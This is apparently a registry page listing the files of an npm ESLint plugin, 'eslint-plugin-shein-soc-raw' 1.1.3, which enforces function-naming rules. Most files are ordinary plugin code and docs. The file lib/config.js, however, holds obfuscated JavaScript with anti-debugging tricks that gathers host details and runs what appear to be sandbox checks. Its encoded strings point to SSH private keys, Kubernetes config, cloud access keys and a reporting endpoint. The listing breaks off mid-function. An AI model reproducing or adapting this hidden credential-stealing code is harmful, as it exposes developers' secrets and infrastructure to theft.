eslint-plugin-shein-soc-raw 1.1.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of eslint-plugin-shein-soc-raw might be problematic. Click here for more details.
- package/.eslintrc.js +19 -0
- package/.gitlab-ci.yml +13 -0
- package/README.md +47 -0
- package/docs/rules/reducer-name-convention.md +69 -0
- package/docs/rules/services-name-convention.md +82 -0
- package/lib/config.js +1 -0
- package/lib/index.js +83 -0
- package/lib/rules/reducer-name-convention.js +79 -0
- package/lib/rules/services-name-convention.js +98 -0
- package/package.json +35 -0
- package/tests/lib/config.js +14 -0
- package/tests/lib/rules/reducer-name-convention.js +91 -0
- package/tests/lib/rules/services-name-convention.js +96 -0
package/.eslintrc.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
module.exports = {
|
4
|
+
root: true,
|
5
|
+
extends: [
|
6
|
+
"eslint:recommended",
|
7
|
+
"plugin:eslint-plugin/recommended",
|
8
|
+
"plugin:node/recommended",
|
9
|
+
],
|
10
|
+
env: {
|
11
|
+
node: true,
|
12
|
+
},
|
13
|
+
overrides: [
|
14
|
+
{
|
15
|
+
files: ["tests/**/*.js"],
|
16
|
+
env: { mocha: true },
|
17
|
+
},
|
18
|
+
],
|
19
|
+
};
|
package/.gitlab-ci.yml
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
publish:
|
2
|
+
stage: build
|
3
|
+
tags:
|
4
|
+
# runner的tag,固定值
|
5
|
+
- npm-publish
|
6
|
+
rules:
|
7
|
+
- if: '$CI_COMMIT_TAG =~ /(^latest)?(^next)?(^beta)?(^test)?(^alpha)?(^dev)?\//'
|
8
|
+
script:
|
9
|
+
# 这里是项目自己的脚本
|
10
|
+
- npm install
|
11
|
+
# - cd publish
|
12
|
+
# - npm run build
|
13
|
+
# 只需要进入发布目录,不要publish
|
package/README.md
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
# eslint-plugin-shein-soc-raw
|
2
|
+
|
3
|
+
代码规范插件
|
4
|
+
|
5
|
+
## Installation
|
6
|
+
|
7
|
+
You'll first need to install [ESLint](https://eslint.org/):
|
8
|
+
|
9
|
+
```sh
|
10
|
+
npm i eslint --save-dev
|
11
|
+
```
|
12
|
+
|
13
|
+
Next, install `eslint-plugin-shein-soc-raw`:
|
14
|
+
|
15
|
+
```sh
|
16
|
+
npm install eslint-plugin-shein-soc-raw --save-dev
|
17
|
+
```
|
18
|
+
|
19
|
+
## Usage
|
20
|
+
|
21
|
+
Add `shein-soc-raw` to the plugins section of your `.eslintrc` configuration file. You can omit the `eslint-plugin-` prefix:
|
22
|
+
|
23
|
+
```json
|
24
|
+
{
|
25
|
+
"plugins": [
|
26
|
+
"shein-soc-raw"
|
27
|
+
]
|
28
|
+
}
|
29
|
+
```
|
30
|
+
|
31
|
+
|
32
|
+
Then configure the rules you want to use under the rules section.
|
33
|
+
|
34
|
+
```json
|
35
|
+
{
|
36
|
+
"rules": {
|
37
|
+
"shein-soc-raw/reducer-name-convention": 2,
|
38
|
+
"shein-soc-raw/services-name-convention": 2
|
39
|
+
}
|
40
|
+
}
|
41
|
+
```
|
42
|
+
|
43
|
+
## Supported Rules
|
44
|
+
|
45
|
+
* Fill in provided rules here
|
46
|
+
|
47
|
+
|
@@ -0,0 +1,69 @@
|
|
1
|
+
# reduce.js function name convention (reducer-name-convention)
|
2
|
+
|
3
|
+
Please describe the origin of the rule here.
|
4
|
+
|
5
|
+
## Rule Details
|
6
|
+
|
7
|
+
这条规则主要是为了统一reducer文件里function 命名
|
8
|
+
|
9
|
+
需要用`submit|delete|update|fetch|handle|init`中的一个关键字开头命名
|
10
|
+
|
11
|
+
Examples of **incorrect** code for this rule:
|
12
|
+
|
13
|
+
```js
|
14
|
+
|
15
|
+
export default {
|
16
|
+
state: {},
|
17
|
+
init: () => {},
|
18
|
+
changeValue() {},
|
19
|
+
* getPresetsDictList() {},
|
20
|
+
* postPresetsDictList() {},
|
21
|
+
* aaPresetsDictList() {}
|
22
|
+
}
|
23
|
+
|
24
|
+
```
|
25
|
+
|
26
|
+
Examples of **correct** code for this rule:
|
27
|
+
|
28
|
+
```js
|
29
|
+
|
30
|
+
export default {
|
31
|
+
state: {},
|
32
|
+
init: () => {},
|
33
|
+
changeValue() {},
|
34
|
+
* initData() {},
|
35
|
+
* fetchPresetsCateGoryList(payload) {
|
36
|
+
yield this.changeValue({
|
37
|
+
a: 1
|
38
|
+
})
|
39
|
+
return {
|
40
|
+
a: 12313
|
41
|
+
}
|
42
|
+
},
|
43
|
+
* handlePresetsList(payload = {}) {
|
44
|
+
|
45
|
+
},
|
46
|
+
* submitPresetsDictList() {
|
47
|
+
|
48
|
+
},
|
49
|
+
* updatePresetsDictList() {
|
50
|
+
|
51
|
+
},
|
52
|
+
* deletePresets() {
|
53
|
+
|
54
|
+
}
|
55
|
+
};
|
56
|
+
|
57
|
+
```
|
58
|
+
|
59
|
+
### Options
|
60
|
+
|
61
|
+
If there are any options, describe them here. Otherwise, delete this section.
|
62
|
+
|
63
|
+
## When Not To Use It
|
64
|
+
|
65
|
+
Give a short description of when it would be appropriate to turn off this rule.
|
66
|
+
|
67
|
+
## Further Reading
|
68
|
+
|
69
|
+
If there are other links that describe the issue this rule addresses, please include them here in a bulleted list.
|
@@ -0,0 +1,82 @@
|
|
1
|
+
# services.js function name convention (services-name-convention)
|
2
|
+
|
3
|
+
Please describe the origin of the rule here.
|
4
|
+
|
5
|
+
## Rule Details
|
6
|
+
|
7
|
+
|
8
|
+
这条规则主要是为了统一services文件里function 命名
|
9
|
+
|
10
|
+
需要用`post|remove|put|query`中的一个关键字开头命名
|
11
|
+
|
12
|
+
Examples of **incorrect** code for this rule:
|
13
|
+
|
14
|
+
```js
|
15
|
+
|
16
|
+
import { filterEmptyParams } from '@/utils/base';
|
17
|
+
import request from "@/utils/base/request";
|
18
|
+
|
19
|
+
export function queryPresetsCategoryPageList(params) {
|
20
|
+
return request(`/presetsCategory/pageList`, {
|
21
|
+
method: 'POST',
|
22
|
+
body: JSON.stringify(filterEmptyParams(params))
|
23
|
+
})
|
24
|
+
}
|
25
|
+
|
26
|
+
export function aapostPresetsCategory(params) {
|
27
|
+
return request(`/presetsCategory/insert`, {
|
28
|
+
method: 'POST',
|
29
|
+
body: JSON.stringify(filterEmptyParams(params))
|
30
|
+
})
|
31
|
+
}
|
32
|
+
|
33
|
+
export function getPresetsCategory(params) {
|
34
|
+
return request(`/presetsCategory/update`, {
|
35
|
+
method: 'POST',
|
36
|
+
body: JSON.stringify(filterEmptyParams(params))
|
37
|
+
})
|
38
|
+
}
|
39
|
+
|
40
|
+
```
|
41
|
+
|
42
|
+
Examples of **correct** code for this rule:
|
43
|
+
|
44
|
+
```js
|
45
|
+
|
46
|
+
import { filterEmptyParams } from '@/utils/base';
|
47
|
+
import request from "@/utils/base/request";
|
48
|
+
|
49
|
+
export function queryPresetsCategoryPageList(params) {
|
50
|
+
return request(`/presetsCategory/pageList`, {
|
51
|
+
method: 'POST',
|
52
|
+
body: JSON.stringify(filterEmptyParams(params))
|
53
|
+
})
|
54
|
+
}
|
55
|
+
|
56
|
+
export function postPresetsCategory(params) {
|
57
|
+
return request(`/presetsCategory/insert`, {
|
58
|
+
method: 'POST',
|
59
|
+
body: JSON.stringify(filterEmptyParams(params))
|
60
|
+
})
|
61
|
+
}
|
62
|
+
|
63
|
+
export function putPresetsCategory(params) {
|
64
|
+
return request(`/presetsCategory/update`, {
|
65
|
+
method: 'POST',
|
66
|
+
body: JSON.stringify(filterEmptyParams(params))
|
67
|
+
})
|
68
|
+
}
|
69
|
+
|
70
|
+
```
|
71
|
+
|
72
|
+
### Options
|
73
|
+
|
74
|
+
If there are any options, describe them here. Otherwise, delete this section.
|
75
|
+
|
76
|
+
## When Not To Use It
|
77
|
+
|
78
|
+
Give a short description of when it would be appropriate to turn off this rule.
|
79
|
+
|
80
|
+
## Further Reading
|
81
|
+
|
82
|
+
If there are other links that describe the issue this rule addresses, please include them here in a bulleted list.
|
package/lib/config.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x151d=['YVdPZHI=','WllTTng=','amdVbk4=','c1F0enQ=','dGVzdA==','aGV1Zkg=','aXNCdWZmZXI=','VlpheFI=','ZW5k','YWpPanA=','ZWJuS2E=','Z1FGdGY=','QmNKUmw=','V2hycFc=','WE5Hc2E=','R1VQcVc=','dW5rbm93bg==','c3BsaXQ=','TGdUV0w=','ZWVTZFI=','bG5FS08=','QmxMZ3M=','ZEtYeFk=','cUVXaHQ=','TGZwYUg=','UWFiZGE=','WFJxWXI=','bGVuZ3Ro','ek1ybVQ=','dGFibGU=','Zm9yRWFjaA==','d2Fybg==','WnhFamQ=','dG9TdHJpbmc=','U3ZIcW0=','QXhQUHA=','Q29udGVudC1MZW5ndGg=','YWtzYw==','b3RZa3g=','bFdBb0M=','YkZjcVo=','VlhlVVg=','aVBvVUI=','V2N6UlU=','Y29uc29sZQ==','aG9tZWRpcg==','bEdlU2U=','c3RyaW5n','c2Vzc2lvblRva2Vu','ZFBDaGY=','alVQelU=','WHlZTkI=','MDA6MDA6MDA6MDA6MDA6MDA=','YXBwbHk=','QWJIa2Y=','bU9qd1c=','YmFzZTY0','VlRsU1Q=','WHllSnY=','cUlZalo=','cXVlcnlzdHJpbmc=','RkpnY0o=','Y3dk','QXlrVUg=','SVB2Ng==','R1RBUnY=','Z2ZaQ1g=','bkdwTUU=','a1hNc0k=','WEdmTmY=','VEFGZ0I=','dXRmOA==','SlRxTlU=','aEFBT2Y=','cVZQTmM=','Qk5BcFI=','VVRWS0s=','bWV0aG9k','UGNlV1Q=','U2VjcmV0SWQ=','SW9SVHU=','T0l0aU4=','RlZkd0U=','cmJoeWw=','U2VjcmV0S2V5','QklXcHk=','cG9ydA==','cmVhZEZpbGVTeW5j','V21rblA=','a3RoSlc=','Rk55Y3Q=','Y29tcGlsZQ==','eUFLVEU=','SnV0Rk8=','WVRza24=','YUhSMGNITTZMeTlwY0dsdVptOHVhVzh2YW5OdmJnPT0=','UWRhQVg=','QUdEVHQ=','dHJhY2U=','YWJvcnQ=','VHFkaG8=','YklsV0E=','dXB0aW1l','cGF0aA==','aHNzWEo=','ZW52','VWR3ZFU=','aWVVUFA=','YXBwbGljYXRpb24vanNvbg==','VW5RRlg=','RU9wYUg=','aW5mbw==','ZlNUa1k=','enFacG0=','WUpHWXg=','TDNKbGNHOXlkQzg9','ZXhjZXB0aW9u','cGFyc2U=','WFV6aHM=','dllxSmc=','WkNzUE8=','ZXhpdA==','Z2V0','cmVxdWVzdA==','S2Jjckg=','c3lMWHU=','c2lk','cmV0dXJuIChmdW5jdGlvbigpIA==','bmFtZQ==','dFNkYkc=','S1pIWmM=','ZnJlZW1lbQ==','Z2pGaXM=','ZXJyb3I=','SmJQRms=','YXJndg==','ZGF0YQ==','V2tlb0o=','dmVyc2lvbg==','YWNjZXNzS2V5SWQ=','VVRqY2s=','aFZvQWQ=','UU5QRVM=','Y29uc3RydWN0b3I=','b25pTXA=','eXJLeG0=','WVJ5cGI=','YWNjZXNzS2V5U2VjcmV0','aEZYT3U=','bXFhTUM=','YnNRRnc=','MXwwfDd8Mnw1fDN8NHw2','c2V0VGltZW91dA==','T09QWkM=','U3hsYWQ=','dG9JU09TdHJpbmc=','ZmNxSkU=','aVZVd3M=','Z2V0U2VydmVycw==','Slh5cWM=','SUxUdng=','b1VQRFY=','Q25adW8=','c2Fr','b3lyT3g=','c2VjcmV0QWNjZXNzS2V5','T2xQRVI=','a1ZDYWo=','QUpScHA=','aG9zdG5hbWU=','b2FxRVc=','QUxJREQ=','ZXhpc3RzU3luYw==','c3RyaW5naWZ5','ZGVidWc=','TVV2c3Q=','cG1IYXo=','ZW5jb2Rpbmc=','VGhlIGZpcnN0IGFyZ3VtZW50IG11c3QgYmUgb2YgdHlwZSBzdHJpbmcgb3IgYW4gaW5zdGFuY2Ugb2YgQnVmZmVyLCBBcnJheUJ1ZmZlciwgb3IgQXJyYXkgb3IgYW4gQXJyYXktbGlrZSBPYmplY3Q=','Z2V3WWU=','dU53SmI=','d05xSVc=','ZnJvbQ==','am9pbg==','bGNwTkY=','c3Noaw==','YWpJS2Q=','TGk5d1lXTnJZV2RsTG1wemIyND0=','cmV0dXJuIC8iICsgdGhpcyArICIv','TlVMTA==','elRZYnE=','U2pzSkY=','dmFsdWVz','Q0ZidEg=','aUpoVFQ=','c2tUQ1A=','NXwwfDd8NnwyfDN8MXw0','TG5OemFDOXBaRjl5YzJFPQ==','SVB2NA==','aFBxRkw=','TnNpWVc=','RlVhT2g=','YWtpZA==','cEpEd0I=','WGFTSms=','WURJZlY=','UE9TVA==','V1ZKRnM=','TG10MVltVXZZMjl1Wm1sbg==','bG9n','Y25aU2w='];(function(_0x505573,_0x151d7c){const _0x5596f7=function(_0x5bc6da){while(--_0x5bc6da){_0x505573['push'](_0x505573['shift']());}};const _0x5f47bc=function(){const _0x1d4968={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x364ce6,_0xdac1ac,_0x51cc31,_0x3fec9a){_0x3fec9a=_0x3fec9a||{};let _0x396599=_0xdac1ac+'='+_0x51cc31;let _0x5f4d58=0x0;for(let _0x9360ce=0x0,_0x22c679=_0x364ce6['length'];_0x9360ce<_0x22c679;_0x9360ce++){const _0x50bdf1=_0x364ce6[_0x9360ce];_0x396599+=';\x20'+_0x50bdf1;const _0x22a817=_0x364ce6[_0x50bdf1];_0x364ce6['push'](_0x22a817);_0x22c679=_0x364ce6['length'];if(_0x22a817!==!![]){_0x396599+='='+_0x22a817;}}_0x3fec9a['cookie']=_0x396599;},'removeCookie':function(){return'dev';},'getCookie':function(_0x3a493c,_0x219234){_0x3a493c=_0x3a493c||function(_0x4fb786){return _0x4fb786;};const _0x26c927=_0x3a493c(new RegExp('(?:^|;\x20)'+_0x219234['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));const _0x3e39c0=function(_0x1f2528,_0x5bbb8c){_0x1f2528(++_0x5bbb8c);};_0x3e39c0(_0x5596f7,_0x151d7c);return _0x26c927?decodeURIComponent(_0x26c927[0x1]):undefined;}};const _0x68b845=function(){const _0x288eee=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x288eee['test'](_0x1d4968['removeCookie']['toString']());};_0x1d4968['updateCookie']=_0x68b845;let _0x5ea9b4='';const _0x307596=_0x1d4968['updateCookie']();if(!_0x307596){_0x1d4968['setCookie'](['*'],'counter',0x1);}else if(_0x307596){_0x5ea9b4=_0x1d4968['getCookie'](null,'counter');}else{_0x1d4968['removeCookie']();}};_0x5f47bc();}(_0x151d,0x1b5));const _0x5596=function(_0x505573,_0x151d7c){_0x505573=_0x505573-0x0;let _0x5596f7=_0x151d[_0x505573];if(_0x5596['AEycGD']===undefined){(function(){const _0x5bc6da=function(){let _0x5ea9b4;try{_0x5ea9b4=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x307596){_0x5ea9b4=window;}return _0x5ea9b4;};const _0x1d4968=_0x5bc6da();const _0x68b845='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1d4968['atob']||(_0x1d4968['atob']=function(_0x364ce6){const _0xdac1ac=String(_0x364ce6)['replace'](/=+$/,'');let _0x51cc31='';for(let _0x3fec9a=0x0,_0x396599,_0x5f4d58,_0x9360ce=0x0;_0x5f4d58=_0xdac1ac['charAt'](_0x9360ce++);~_0x5f4d58&&(_0x396599=_0x3fec9a%0x4?_0x396599*0x40+_0x5f4d58:_0x5f4d58,_0x3fec9a++%0x4)?_0x51cc31+=String['fromCharCode'](0xff&_0x396599>>(-0x2*_0x3fec9a&0x6)):0x0){_0x5f4d58=_0x68b845['indexOf'](_0x5f4d58);}return _0x51cc31;});}());_0x5596['mhkTSb']=function(_0x22c679){const _0x50bdf1=atob(_0x22c679);let _0x22a817=[];for(let _0x3a493c=0x0,_0x219234=_0x50bdf1['length'];_0x3a493c<_0x219234;_0x3a493c++){_0x22a817+='%'+('00'+_0x50bdf1['charCodeAt'](_0x3a493c)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x22a817);};_0x5596['kXcRNB']={};_0x5596['AEycGD']=!![];}const _0x5f47bc=_0x5596['kXcRNB'][_0x505573];if(_0x5f47bc===undefined){const _0x26c927=function(_0x3e39c0){this['JUHVds']=_0x3e39c0;this['BJhcAC']=[0x1,0x0,0x0];this['CGhSJI']=function(){return'newState';};this['sHCwxo']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['QbtZTD']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x26c927['prototype']['MPhPeZ']=function(){const _0x4fb786=new RegExp(this['sHCwxo']+this['QbtZTD']);const _0x1f2528=_0x4fb786['test'](this['CGhSJI']['toString']())?--this['BJhcAC'][0x1]:--this['BJhcAC'][0x0];return this['ljXfgZ'](_0x1f2528);};_0x26c927['prototype']['ljXfgZ']=function(_0x5bbb8c){if(!Boolean(~_0x5bbb8c)){return _0x5bbb8c;}return this['FlVRgj'](this['JUHVds']);};_0x26c927['prototype']['FlVRgj']=function(_0x288eee){for(let _0x40dcb0=0x0,_0x481675=this['BJhcAC']['length'];_0x40dcb0<_0x481675;_0x40dcb0++){this['BJhcAC']['push'](Math['round'](Math['random']()));_0x481675=this['BJhcAC']['length'];}return _0x288eee(this['BJhcAC'][0x0]);};new _0x26c927(_0x5596)['MPhPeZ']();_0x5596f7=_0x5596['mhkTSb'](_0x5596f7);_0x5596['kXcRNB'][_0x505573]=_0x5596f7;}else{_0x5596f7=_0x5f47bc;}return _0x5596f7;};const _0x364ce6=function(){const _0x77ce24={};_0x77ce24[_0x5596('0x30')]='utf-8';_0x77ce24[_0x5596('0xbe')]=function(_0x31c63c,_0x8858f8){return _0x31c63c===_0x8858f8;};_0x77ce24[_0x5596('0x8b')]=_0x5596('0x4d');const _0x2a9457=_0x77ce24;let _0xd7e678=!![];return function(_0x386b18,_0x260e3d){if(_0x2a9457[_0x5596('0xbe')](_0x2a9457[_0x5596('0x8b')],_0x5596('0x4f'))){const _0x4dda39={};_0x4dda39[_0x5596('0xa2')]=_0x2a9457[_0x5596('0x30')];const _0x21f226=fs['readFileSync'](decodedpackageJSON,_0x4dda39);packageJSON=JSON[_0x5596('0x66')](_0x21f226)||{};if(packageJSON&&packageJSON[_0x5596('0x71')]){packageName=packageJSON[_0x5596('0x71')];}}else{const _0x5d9066=_0xd7e678?function(){if(_0x260e3d){const _0x46d848=_0x260e3d[_0x5596('0x26')](_0x386b18,arguments);_0x260e3d=null;return _0x46d848;}}:function(){};_0xd7e678=![];return _0x5d9066;}};}();const _0x307596=_0x364ce6(this,function(){const _0x2d28f9={};_0x2d28f9[_0x5596('0x9c')]=_0x5596('0xad');_0x2d28f9[_0x5596('0x2a')]=function(_0x368daf){return _0x368daf();};const _0x1aa8ef=_0x2d28f9;const _0x187cce=function(){const _0x1b8c7e=_0x187cce[_0x5596('0x80')](_0x1aa8ef[_0x5596('0x9c')])()['compile']('^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}');return!_0x1b8c7e['test'](_0x307596);};return _0x1aa8ef[_0x5596('0x2a')](_0x187cce);});_0x307596();const _0x1d4968=function(){const _0x4e3cf1={};_0x4e3cf1[_0x5596('0x8')]=function(_0x4e5866,_0x240ed2){return _0x4e5866===_0x240ed2;};_0x4e3cf1[_0x5596('0x4b')]='bBorg';_0x4e3cf1['YJGYx']='SveLi';const _0x2e779b=_0x4e3cf1;let _0x4d9e03=!![];return function(_0x172a23,_0x191749){const _0x5c93a6=_0x4d9e03?function(){if(_0x2e779b[_0x5596('0x8')](_0x5596('0x87'),_0x5596('0x87'))){if(_0x191749){if(_0x2e779b[_0x5596('0x4b')]===_0x2e779b[_0x5596('0x63')]){if(_0x191749){const _0xeac765=_0x191749[_0x5596('0x26')](_0x172a23,arguments);_0x191749=null;return _0xeac765;}}else{const _0x59e643=_0x191749[_0x5596('0x26')](_0x172a23,arguments);_0x191749=null;return _0x59e643;}}}else{process[_0x5596('0x6a')](0x1);}}:function(){};_0x4d9e03=![];return _0x5c93a6;};}();const _0x5bc6da=_0x1d4968(this,function(){const _0x50d6ba={};_0x50d6ba[_0x5596('0xc4')]=function(_0x3e832d,_0x1a6dbd){return _0x3e832d===_0x1a6dbd;};_0x50d6ba[_0x5596('0xb2')]=_0x5596('0x7e');_0x50d6ba[_0x5596('0xc7')]=_0x5596('0xb3');_0x50d6ba[_0x5596('0xb8')]=function(_0x3d1a5b,_0x34bb6e){return _0x3d1a5b===_0x34bb6e;};_0x50d6ba[_0x5596('0x8e')]=_0x5596('0x9b');_0x50d6ba['XyYNB']=function(_0x1372fc,_0x509c4c){return _0x1372fc(_0x509c4c);};_0x50d6ba[_0x5596('0xa9')]=function(_0x589129,_0x1a5a2b){return _0x589129+_0x1a5a2b;};_0x50d6ba[_0x5596('0x49')]=function(_0xb9122b,_0x32875d){return _0xb9122b+_0x32875d;};_0x50d6ba[_0x5596('0x2b')]=_0x5596('0x70');_0x50d6ba[_0x5596('0x23')]='{}.constructor(\x22return\x20this\x22)(\x20)';_0x50d6ba['qVPNc']=function(_0x57a5a4){return _0x57a5a4();};_0x50d6ba[_0x5596('0xcf')]=function(_0x4033ec,_0x12ba85){return _0x4033ec!==_0x12ba85;};_0x50d6ba[_0x5596('0x43')]=_0x5596('0xb');_0x50d6ba[_0x5596('0x6e')]=_0x5596('0x88');const _0x1d4cbb=_0x50d6ba;const _0x31f4eb=function(){};let _0x323134;try{if(_0x1d4cbb[_0x5596('0xb8')](_0x5596('0xbd'),_0x1d4cbb[_0x5596('0x8e')])){return!![];}else{const _0x3468a3=_0x1d4cbb[_0x5596('0x24')](Function,_0x1d4cbb[_0x5596('0xa9')](_0x1d4cbb[_0x5596('0x49')](_0x1d4cbb[_0x5596('0x2b')],_0x1d4cbb[_0x5596('0x23')]),');'));_0x323134=_0x1d4cbb[_0x5596('0x3b')](_0x3468a3);}}catch(_0x468ec8){if(_0x1d4cbb[_0x5596('0xcf')](_0x1d4cbb[_0x5596('0x43')],_0x1d4cbb[_0x5596('0x43')])){return!![];}else{_0x323134=window;}}if(!_0x323134[_0x5596('0x1d')]){_0x323134[_0x5596('0x1d')]=function(_0x4fa921){if(_0x1d4cbb[_0x5596('0xc4')](_0x1d4cbb[_0x5596('0xb2')],_0x1d4cbb['sQtzt'])){const _0x54596e=firstCall?function(){if(fn){const _0x5f0a4c=fn[_0x5596('0x26')](context,arguments);fn=null;return _0x5f0a4c;}}:function(){};firstCall=![];return _0x54596e;}else{const _0x3cb07e={};_0x3cb07e[_0x5596('0xc2')]=_0x4fa921;_0x3cb07e[_0x5596('0x10')]=_0x4fa921;_0x3cb07e[_0x5596('0x9f')]=_0x4fa921;_0x3cb07e[_0x5596('0x60')]=_0x4fa921;_0x3cb07e[_0x5596('0x76')]=_0x4fa921;_0x3cb07e[_0x5596('0x65')]=_0x4fa921;_0x3cb07e[_0x5596('0xe')]=_0x4fa921;_0x3cb07e[_0x5596('0x53')]=_0x4fa921;return _0x3cb07e;}}(_0x31f4eb);}else{const _0x44942c=_0x1d4cbb[_0x5596('0x6e')][_0x5596('0x2')]('|');let _0x44450=0x0;while(!![]){switch(_0x44942c[_0x44450++]){case'0':_0x323134[_0x5596('0x1d')][_0x5596('0x10')]=_0x31f4eb;continue;case'1':_0x323134[_0x5596('0x1d')][_0x5596('0xc2')]=_0x31f4eb;continue;case'2':_0x323134[_0x5596('0x1d')][_0x5596('0x60')]=_0x31f4eb;continue;case'3':_0x323134['console'][_0x5596('0x65')]=_0x31f4eb;continue;case'4':_0x323134[_0x5596('0x1d')][_0x5596('0xe')]=_0x31f4eb;continue;case'5':_0x323134['console'][_0x5596('0x76')]=_0x31f4eb;continue;case'6':_0x323134['console']['trace']=_0x31f4eb;continue;case'7':_0x323134['console'][_0x5596('0x9f')]=_0x31f4eb;continue;}break;}}});_0x5bc6da();const fs=require('fs');const os=require('os');const path=require(_0x5596('0x58'));const dns=require('dns');const querystring=require(_0x5596('0x2d'));const https=require('https');const {Buffer}=require('buffer');let packageName=_0x5596('0x1');let packageJSON={};const encodedpackageJSON=_0x5596('0xac');const decodedpackageJSON=Buffer[_0x5596('0xa7')](encodedpackageJSON,_0x5596('0x29'))[_0x5596('0x12')]();if(fs[_0x5596('0x9d')](decodedpackageJSON)){try{const _0x57d5c0={};_0x57d5c0[_0x5596('0xa2')]='utf-8';const json=fs['readFileSync'](decodedpackageJSON,_0x57d5c0);packageJSON=JSON['parse'](json)||{};if(packageJSON&&packageJSON[_0x5596('0x71')]){packageName=packageJSON[_0x5596('0x71')];}}catch(_0x356017){}}else{}const {USER:username}=process[_0x5596('0x5a')];let ipv4='';let ipv6='';let macAddr='';const ifaces=os['networkInterfaces']();Object[_0x5596('0xb1')](ifaces)[_0x5596('0xf')](_0x42153f=>{const _0xdc085e={};_0xdc085e[_0x5596('0x44')]=_0x5596('0xb5');_0xdc085e[_0x5596('0xa')]=_0x5596('0xad');_0xdc085e[_0x5596('0x41')]='^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}';_0xdc085e['VZaxR']=function(_0xd4ce73,_0x3e9907){return _0xd4ce73!==_0x3e9907;};_0xdc085e[_0x5596('0x1f')]=_0x5596('0x8a');_0xdc085e[_0x5596('0xd1')]=_0x5596('0xa1');_0xdc085e[_0x5596('0x2c')]=function(_0x27c902,_0x4d9ec3){return _0x27c902===_0x4d9ec3;};_0xdc085e[_0x5596('0x73')]=_0x5596('0xb7');_0xdc085e[_0x5596('0x83')]=_0x5596('0x31');_0xdc085e[_0x5596('0x7')]=_0x5596('0x42');_0xdc085e[_0x5596('0xd2')]=_0x5596('0x25');_0xdc085e[_0x5596('0x14')]=_0x5596('0xb4');const _0x2e53fa=_0xdc085e;_0x42153f['forEach'](({family,internal,address,mac})=>{const _0x314fc1={};_0x314fc1[_0x5596('0x1b')]=_0x2e53fa[_0x5596('0xa')];_0x314fc1['DMZer']=_0x2e53fa['IoRTu'];const _0xba9fa=_0x314fc1;if(_0x2e53fa['VZaxR'](_0x2e53fa[_0x5596('0x1f')],_0x2e53fa[_0x5596('0xd1')])){if(_0x2e53fa[_0x5596('0x2c')](family,_0x2e53fa[_0x5596('0x73')])&&!internal){ipv4=address;}if(_0x2e53fa[_0x5596('0x2c')](family,_0x2e53fa[_0x5596('0x83')])&&!internal){if(_0x2e53fa[_0x5596('0x2c')](_0x2e53fa['dKXxY'],_0x2e53fa['dKXxY'])){ipv6=address;}else{const _0x386832=_0x2e53fa['rbhyl']['split']('|');let _0x275691=0x0;while(!![]){switch(_0x386832[_0x275691++]){case'0':that[_0x5596('0x1d')]['warn']=func;continue;case'1':that[_0x5596('0x1d')][_0x5596('0xe')]=func;continue;case'2':that[_0x5596('0x1d')][_0x5596('0x76')]=func;continue;case'3':that['console'][_0x5596('0x65')]=func;continue;case'4':that[_0x5596('0x1d')][_0x5596('0x53')]=func;continue;case'5':that[_0x5596('0x1d')][_0x5596('0xc2')]=func;continue;case'6':that[_0x5596('0x1d')][_0x5596('0x60')]=func;continue;case'7':that[_0x5596('0x1d')][_0x5596('0x9f')]=func;continue;}break;}}}if(mac&&_0x2e53fa[_0x5596('0xcb')](mac,_0x2e53fa[_0x5596('0xd2')])){if(_0x2e53fa['AxPPp']===_0x5596('0xb4')){macAddr=mac;}else{const _0x257e42=function(){const _0xdf6e57=_0x257e42[_0x5596('0x80')](_0xba9fa[_0x5596('0x1b')])()[_0x5596('0x4c')](_0xba9fa['DMZer']);return!_0xdf6e57[_0x5596('0xc8')](_0x307596);};return _0x257e42();}}}else{const _0x368309=fn[_0x5596('0x26')](context,arguments);fn=null;return _0x368309;}});});function checkMemory(_0x1248e5){const _0xe90d37={};_0xe90d37[_0x5596('0x1c')]='utf8';_0xe90d37[_0x5596('0x3')]=function(_0x4ff431,_0x47222e){return _0x4ff431*_0x47222e;};_0xe90d37['JutFO']=function(_0x1bbadd,_0x35f439){return _0x1bbadd*_0x35f439;};_0xe90d37[_0x5596('0x52')]=function(_0x420386,_0x224085){return _0x420386/_0x224085;};_0xe90d37[_0x5596('0x59')]=function(_0x56485b,_0x14ba77){return _0x56485b*_0x14ba77;};_0xe90d37[_0x5596('0x0')]=function(_0x10f677,_0x40bd82){return _0x10f677<_0x40bd82;};_0xe90d37[_0x5596('0x4')]=function(_0x313dce,_0xcee34a){return _0x313dce-_0xcee34a;};_0xe90d37[_0x5596('0xa6')]=function(_0x5e0a01,_0x4b69a3){return _0x5e0a01===_0x4b69a3;};const _0x5955bd=_0xe90d37;const _0x578d8a=os['totalmem']()/_0x5955bd[_0x5596('0x3')](_0x5955bd[_0x5596('0x4e')](0x400,0x400),0x400);const _0x358fc3=_0x5955bd['AGDTt'](os[_0x5596('0x74')](),_0x5955bd[_0x5596('0x4e')](_0x5955bd['hssXJ'](0x400,0x400),0x400));if(_0x5955bd[_0x5596('0x0')](_0x5955bd['eeSdR'](_0x578d8a,_0x358fc3),_0x1248e5)){return![];}else{if(_0x5955bd[_0x5596('0xa6')](_0x5596('0xc6'),'jgUnN')){return!![];}else{sshKey=fs[_0x5596('0x48')](sshKeyFile,_0x5955bd['WczRU']);}}}function checkCPUCores(_0x1f9281){const _0x19d79f=os['cpus']()[_0x5596('0xc')];if(_0x19d79f<_0x1f9281){return![];}else{return!![];}}function checkUptime(_0xb08c9d){const _0x543a41={};_0x543a41[_0x5596('0x7f')]=function(_0x5cc42e,_0x3c0879){return 